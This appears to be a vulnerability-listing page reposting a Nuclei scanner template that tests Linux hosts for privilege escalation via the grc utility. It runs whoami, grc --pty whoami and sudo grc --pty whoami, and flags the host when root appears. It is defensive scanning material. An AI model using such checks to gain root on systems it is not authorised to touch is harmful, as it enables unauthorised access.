privesc-grc: grc - Privilege Escalation

2025-08-01 grc PoC Public

Description

grc is a command-line utility that enhances the output of other commands with color and style. It is commonly used to improve the readability of command output by adding color highlighting and formatting. grc can be configured to work with various commands and is often used to make log files and command output easier to interpret.

PoC

id: privesc-grc

info:
  name: grc - Privilege Escalation
  author: daffainfo
  severity: high
  description: |
    grc is a command-line utility that enhances the output of other commands with color and style. It is commonly used to improve the readability of command output by adding color highlighting and formatting. grc can be configured to work with various commands and is often used to make log files and command output easier to interpret.
  reference:
    - https://gtfobins.github.io/gtfobins/grc/
  metadata:
    verified: true
    max-request: 3
  tags: code,linux,grc,privesc,local

self-contained: true
code:
  - engine:
      - sh
      - bash
    source: |
      whoami

  - engine:
      - sh
      - bash
    source: |
      grc --pty whoami

  - engine:
      - sh
      - bash
    source: |
      sudo grc --pty whoami

    matchers-condition: and
    matchers:
      - type: word
        part: code_1_response
        words:
          - "root"
        negative: true

      - type: dsl
        dsl:
          - 'contains(code_2_response, "root")'
          - 'contains(code_3_response, "root")'
        condition: or
# digest: 4b0a00483046022100aa0da4fa9606716a03728fdacb92e4385d04bc0491115d887e3292bfea3835f10221009606e7d51f737fcd360e1ba6df9e915c3660f422919f7c9c97cf7b8fb7d19e40:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/code/privilege-escalation/linux/binary/privesc-grc.yaml

References

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